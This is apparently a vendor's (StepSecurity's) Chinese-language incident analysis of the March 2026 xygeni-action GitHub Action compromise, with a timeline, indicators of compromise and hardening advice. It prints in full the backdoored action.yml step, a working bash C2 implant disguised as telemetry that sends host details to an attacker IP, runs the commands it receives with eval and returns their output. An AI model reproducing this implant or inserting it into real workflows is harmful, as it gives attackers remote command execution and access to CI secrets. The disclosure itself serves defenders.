xygeni-action 被攻陷:C2 逆向 Shell 后门通过 Tag 污染注入

2026年3月3日,官方 Xygeni GitHub Action(xygeni-action)遭到入侵。攻击者使用窃取的主持人凭据注入了一个完整的 C2 反向 shell 后门,并静默地将可变的 v5 标签移动到了恶意提交——影响了所有引用 @v5 的仓库,工作流文件没有任何可见变化。截至3月9日,v5 标签仍被污染;用户应立即固定到 v6.4.0 或特定的 commit SHA,StepSecurity 的 Harden-Runner 本可以检测并阻止到 91.214.78.178 的 C2 回调。

2026年3月3日,一名拥有主持人账户访问权限和 GitHub App 令牌的攻击者向官方 Xygeni GitHub Action xygeni/xygeni-action 注入了完整的命令与控制(C2)反向 shell

该后门伪装为"扫描器版本遥测"步骤。三个带有恶意代码的拉取请求被打开并关闭——但并未合并——攻击者还v5 快捷方式标签移动到了带后门的提交。在7天(3月3日至10日)内,任何在其工作流中引用 xygeni/xygeni-action@v5 的用户都在运行 C2 植入程序。

更新(2026年3月10日):​ Xygeni 已删除被污染的 v5 标签,轮换了所有贡献者令牌,在所有仓库启用了发布不可变性,并添加了标签保护规则。他们发布了完整的事件报告。用户应固定到 v6.4.0 或完整的 commit SHA 13c6ed2797df7d85749864e2cbcf09c893f43b23

您的 action 是否固定到 commit SHA?

可变标签是 GitHub Actions 的第一大供应链攻击向量。StepSecurity 不仅可以检测未固定的 action、过度特权的令牌和其他配置错误——还可以使用自动拉取请求来修复它们。

免费开始 →

事件经过

2026年3月3日,三个拉取请求以快速连续的方式针对 xygeni/xygeni-action 被打开,都携带相同的后门有效载荷:

  • PR #46(UTC 10:22)——由 nico-car 打开,这是一位自2023年以来就有提交记录的合法长期主持人。该提交使用 felix.carnicero@xygeni.io(一个 Xygeni 员工邮箱)签名。在 UTC 10:29 关闭,未合并。
  • PR #47(UTC 10:41)——同样由 nico-car 打开。在 UTC 10:44 关闭,未合并。
  • PR #48(UTC 10:45)——由 xygeni-onboarding-app-dev[bot](一个 Xygeni 拥有的 GitHub App)打开。值得注意的是,nico-car 用评论"Looks good, telemetry step verified."批准了这个 PR——这是凭据被泄露的进一步证据。PR 作者现显示为 ghost(账户已删除)。在 UTC 10:49 关闭,未合并。

所有三个 PR 都具有相同的标题模式("add scanner version telemetry reporting"),并在 action.yml 中包含相同的恶意有效载荷。这些 PR 被关闭而未合并——但攻击者还将 v5 可变标签强制推送到了指向 PR #48 分支中带后门的提交。

后门:一个完整的 C2 反向 Shell

有效载荷作为名为"Report Scanner Telemetry"的新步骤插入到 action.yml 中,位于扫描器安装和实际扫描之间。它使用高度混淆的变量名并在后台运行(&),因此合法的扫描正常进行——用户在workflow输出中看不出任何差异。

以下是有注解的恶意代码:

yaml
- name: 'Report Scanner Telemetry' shell: bash run: | # Report scanner version and environment for usage analytics _xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown") ( # C2 server endpoint (IP hidden behind nip.io DNS) _e="https://security-verify.91.214.78.178.nip.io" _k="X-B: sL5x#9kR!vQ2\$mN7" # Authentication header _c(){ curl -sfk -m8 -H "$_k" "$@"; } # Helper: silent curl, skip TLS verify # STEP 1: Register with C2 — sends hostname, username, OS info _r=$(_c -X POST -H "Content-Type: application/json" \ -d "{\"h\":\"$(hostname -f)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \ "$_e/b/in") || exit 0 [ -z "$_r" ] && exit 0 _b="${_r%%:*}" # Extract bot ID from response # Encoder: compress + base64 command output _enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write( base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode() )" 2>/dev/null || base64|tr -d '\n'; } # STEP 2: Poll for commands for 180 seconds _t=$(($(date +%s)+180)) while [ "$(date +%s)" -lt "$_t" ]; do _d=$(_c "$_e/b/q?b=$_b") || break # Fetch command [ "$_d" != "-" ] && [ -n "$_d" ] && \ # STEP 3: Execute command and send results back _c -X POST -H "Content-Type: application/json" \ -d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" \ "$_e/b/r" >/dev/null 2>&1 sleep $((RANDOM%5+2)) # Random delay (2-7s) done ) & # Run in background echo "::debug::Telemetry reported: $_xv" # Innocent-looking log line

这不是一个简单的数据泄露脚本。这是一个完整的交互式 C2 植入程序,它能够:

  • 向位于 91.214.78.178 的命令与控制服务器注册(隐藏在 nip.io 通配符 DNS 记录后面),发送运行器的主机名、用户名和操作系统版本
  • 每2-7秒轮询任意命令,持续3分钟
  • 执行 C2 服务器发送的任何命令,通过 eval 返回压缩的 base64 编码输出
  • 在后安静运行,同时正常的 Xygeni 扫描进行
  • 跳过 TLS 验证curl -k)以避免证书错误
  • 使用认证头X-B: sL5x#9kR!vQ2$mN7)来防止未授权访问 C2 端点

在这3分钟内,攻击者可以在 CI 运行器上执行任何命令——窃取环境变量(包括 GITHUB_TOKENXYGENI_TOKEN 和任何其他密钥)、读取源代码、修改构建产物,或转移到运行器可访问的其他系统。

⛔ curl https://security-verify.91.214.78.178.nip.io → 已阻止

这就是 StepSecurity Harden-Runner 防止的内容

GitHub Actions 的实时网络出口监控。到达 91.214.78.178 的 C2 回调将在植入程序能够注册、接收命令或泄露数据之前被检测并阻止。

在 GitHub 上查看 → 免费开始 →

真正的攻击:标签污染

这三个 PR 是一个诱饵——或者可能是被其他主持人发现并关闭的失败尝试。​真正的攻击是移动了 v5 标签。​

GitHub Actions 用户通常通过主要版本快捷标签来引用 action:

yaml
# How most users reference the action: uses: xygeni/xygeni-action@v5 # What this actually resolves to: # Whatever commit the "v5" tag points to

v5 标签是一个可变的轻量标签——任何具有写权限的人都可以将其移动到指向任何提交。攻击者将其从合法的 v5.38.1 发布(提交 ea66a5a)移动到了 PR #48 分支中带后门的提交 4bf1d4e

这意味着:

  • 不需要更改工作流文件——每个已经引用 @v5 的仓库静默地开始运行后门
  • 不需要合并 PR——恶意提交不需要在 main 分支上;标签可以指向仓库中的任何提交
  • 用户的工作流没有可见变化——YAML 文件中的 action 引用看起来完全相同

标签状态(截至2026年3月9日)

  • v5 → 提交 4bf1d4e已被入侵(由 xygeni-onboarding-app-dev[bot] 植入的 C2 后门)
  • v5.38.1 → 提交 ea66a5a — 安全(合法发布)
  • v6 / v6.4.0 → 提交 13c6ed2 — 安全(事件后发布,包含校验和验证)

当前标签状态(截至2026年3月11日)

  • v5已删除(原本指向带后门的提交 4bf1d4e;由 Xygeni 于3月10日删除)
  • v5.38.1 → 提交 ea66a5a — 安全(合法发布)
  • v6 / v6.4.0 → 提交 13c6ed2 — 安全(事件后发布,包含校验和验证)

泄露的凭据,而非外部攻击者

这不是来自外部账户的基于 fork 的攻击。恶意 PR 来自 Xygeni 组织内部

  • PR #46:提交由 felix.carnicero@xygeni.io 签名(一位自2022年以来就在此仓库合并 PR 的 Xygeni 员工)
  • PR #47:由 nico-car 打开(一位自2023年以来就此仓库提交过(包括 SAST 扫描上传功能)的主持人)
  • PR #48:由 xygeni-onboarding-app-dev[bot] 打开(一个 Xygeni 拥有的 GitHub App)

三个不同的身份——两个人类主持人账户和一个 GitHub App——在23分钟的时间窗口内都被用来推送完全相同的后门。这强烈表明是凭据被泄露而非恶意内部人员:要么主持人账户被钓鱼,要么他们的令牌被盗,要么 GitHub App 的私钥被泄露。

快速连续的操作序列(PR 打开,4-8分钟后关闭,不同身份推送相同有效载荷)表明攻击者正在争分夺秒地抢在被检测到之前将代码放入,每次尝试被阻止时就切换身份。

事件后响应

在恶意 PR 出现后2小时内,Xygeni 团队:

  • 关闭了所有3个 PR,未合并
  • 从仓库中删除了所有 workflow(提交 a7ab78a6db3c3c

六天后(3月9日),他们发布了包含扫描器下载校验和验证的 v6.4.0,并在 README 中添加了 SHA 固定指南。但是 v5 标签仍未修复——它仍然指向带后门的提交。

3月10日,在 StepSecurity 发布此分析并将问题报告给 security@xygeni.io 后,Xygeni 采取了额外的补救措施:

  • 删除了被污染的 v5 标签
  • 轮换了所有贡献者令牌,包括两个被泄露的主持人账户
  • 在所有 Xygeni 拥有的仓库启用了发布不可变性,防止对现有发布的标签修改或删除
  • 添加了标签保护规则,防止未授权的标签创建或更新
  • 加强了分支保护,包括强制签名提交
  • 更新了文档,建议固定到完整的 commit SHA

Xygeni 发布了一份完整的事件报告,确认入侵是由被盗的 GitHub 凭据引起的。

负责任的披露

StepSecurity 于2026年3月9日通过负责任的披露渠道向 Xygeni 报告了此入侵事件。鉴于 v5 标签在报告时仍被污染,我们在时间紧迫的情况下发布了此分析,以保护受影响的用户。Xygeni 于3月10日回应,删除了被污染的标签、轮换了凭据,并发布了他们自己的事件报告

攻击时间线

2026年3月3日

  • UTC 10:21 — 创建恶意提交 ceead6d,使用 felix.carnicero@xygeni.io 签名
  • UTC 10:22nico-car 打开 PR #46("feat: add scanner version telemetry reporting")
  • UTC 10:29 — PR #46 关闭,未合并
  • UTC 10:41nico-car 打开 PR #47("improvement: add scanner version telemetry reporting")
  • UTC 10:44 — PR #47 关闭,未合并
  • UTC 10:45xygeni-onboarding-app-dev[bot] 打开 PR #48
  • UTC 10:49 — PR #48 关闭,未合并
  • 约 UTC 10:49v5 标签移动到带后门的提交 4bf1d4e
  • UTC 12:23 — 主持人删除 testing.yml workflow
  • UTC 12:25 — 主持人删除剩余的 workflow(main.ymlnightly-build.ymltesting-demo.yml

2026年3月9日

  • UTC 08:49 — 在扫描器下载中添加了校验和验证
  • UTC 12:02 — 发布 v6.4.0,README 中包含 SHA 固定指南
  • UTC 19:57 — 打开 Issue #54,询问恶意代码
  • v5 标签仍指向带后门的提交

2026年3月10日

  • UTC 10:20 — Xygeni 在 Issue #54 上发布事件报告
  • 删除被污染的 v5 标签
  • 轮换所有贡献者令牌
  • 在所有 Xygeni 仓库启用发布不可变性
  • 添加标签保护规则和加强分支保护
  • UTC 10:24 — Issue #54 关闭,标记为已修复

为什么标签污染如此危险

此攻击利用了 GitHub Actions 中的一个基本设计选择:​可变标签是引用 action 的默认方式。GitHub 自己的文档推荐使用如 @v5 这样方便的主要版本标签。但这意味着:

  • 一次标签推送就会替换所有消费者的可信代码——没有 PR、没有审查、没有通知
  • 用户的工作流文件没有变化——uses: xygeni/xygeni-action@v5 在攻击前后看起来完全相同
  • main 上的 Git 历史看不到任何东西——恶意提交从未合并到默认分支;只有标签引用改变了
  • Dependabot 和 Renovate 不会标记它——它们更新版本引用,而不是检测标签变更

这是与2025年3月 tj-actions/changed-files 入侵事件 中相同的攻击向量——一个流行 action 上的可变标签被指向恶意提交,窃取了数千个仓库的 CI/CD 密钥。

StepSecurity 的 Harden-Runner 是第一个检测到 tj-actions/changed-files 入侵事件的工具,它通过捕获来自被污染 action 的未授权出站网络调用来检测。相同的运行时监控本可以检测到此攻击中到 91.214.78.178 的 C2 回调。

如何保护您的工作流

1. 将 action 固定到完整的 commit SHA,而不是标签

标签是可变的。Commit SHA 是不可变的。始终通过完整的 SHA 引用 action:

yaml
# DANGEROUS — mutable tag, can be silently replaced: uses: xygeni/xygeni-action@v5 # SAFE — immutable commit reference: uses: xygeni/xygeni-action@ea66a5ad3128270e853f46013be382e761d930b9 # v5.38.1

StepSecurity 的 Orchestrate Security 可以自动打开拉取请求,在您的所有仓库中将所有 action 引用固定到 commit SHA——将固定作为策略强制执行,而不是依赖开发者记住。

您的 action 是否固定到 commit SHA?

可变标签是 GitHub Actions 的第一大供应链攻击向量。StepSecurity 不仅可以检测未固定的 action、过度特权的令牌和其他配置错误——还可以使用自动拉取请求来修复它们。

免费开始 →

2. 使用维护的 action 而不是社区 action

即使固定到 commit SHA 也不能帮助,如果 action 的源仓库被入侵并引入了新的恶意提交。StepSecurity 提供 Maintained Actions——经过验证、安全加固的流行 GitHub Actions 分支,由独立维护和审计。通过使用 StepSecurity 维护版本的常用 action,您可以完全消除上游被入侵的风险。

3. 监控 CI 运行器的网络出口

后门的第一个操作是到 91.214.78.178 的网络调用。StepSecurity Harden-Runner 监控 GitHub Actions 运行器的所有出站连接,并阻止到未授权端点的调用。C2 回调将在植入程序能够注册或接收命令之前被捕获。

以下是 Harden-Runner 在阻止模式下检测并阻止到 security-verify.91.214.78.178.nip.io 的 C2 回调:

4. 在运行之前阻止被入侵的 action

StepSecurity 的 Compromised Actions Policy 在工作流执行之前阻止引用已知被入侵 action 的工作流运行。当 StepSecurity 的威胁情报识别到被污染的 action——如此事件中的 xygeni-action@v5 标签——该策略会阻止任何使用它的工作流运行,在入口处阻止攻击,而不是依赖运行时检测。

以下是 Compromised Actions Policy 实际运行的示例——使用 xygeni-action@v5 的工作流运行被 @stepsecurity-app[bot] 强制取消,在后门能够执行之前:

5. 在使用前审计第三方 action

即使是来自安全供应商的 action 也可能被入侵。查看您添加到工作流的任何 action 的源代码,并为 action 源代码意外更改设置警报。

StepSecurity 的 Action Advisor 帮助您在将任何第三方 GitHub Action 添加到工作流之前评估其风险。它根据维护者活动、安全最佳实践以及是否有 StepSecurity 维护的替代方案等因素,对 action 进行1-10分的评分。

6. 检测冒名提交

在此攻击中,恶意提交 4bf1d4e 从未合并到默认分支,v5 标签只是被移动到指向它。同样的技术在 tj-actions 和 reviewdog 攻击中被使用:标签被指向默认分支之外的提交,以完全绕过 PR 审查。更令人不安的是,许多合法的 action 遵循的发布流程会产生相同的警告——使得难以区分真正的攻击和古怪的构建管道。

StepSecurity 的 Harden-Runner 包含冒名提交检测功能,当工作流运行的 action 的标签或 commit SHA 不属于 action 仓库的任何分支时,会自动向您发出警报。Harden-Runner 不是依赖开发者手动在 GitHub 上检查每个提交,而是实时标记这些情况,这样您可以在它们成为问题之前捕获被污染的标签和有风险的发布模式。

入侵指标

  • C2 服务器:​ security-verify[.]91[.]214[.]78[.]178[.]nip.io(解析到 91[.]214[.]78[.]178
  • C2 端点:​ /b/in(注册)、/b/q(轮询命令)、/b/r(返回结果)
  • C2 认证头:​ X-B: sL5x#9kR!vQ2$mN7
  • 被污染的标签:​ xygeni/xygeni-action@v5 → 提交 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12
  • 恶意提交:​
    • ceead6d(PR #46,签名为 felix.carnicero@xygeni.io
      • 2d615f4(PR #47,由 nico-car
      • 4bf1d4e(PR #48,由 xygeni-onboarding-app-dev[bot]
  • 恶意 PR:​ #46#47#48
  • 被入侵的身份:​ nico-carfcarnicero(邮箱)、xygeni-onboarding-app-dev[bot]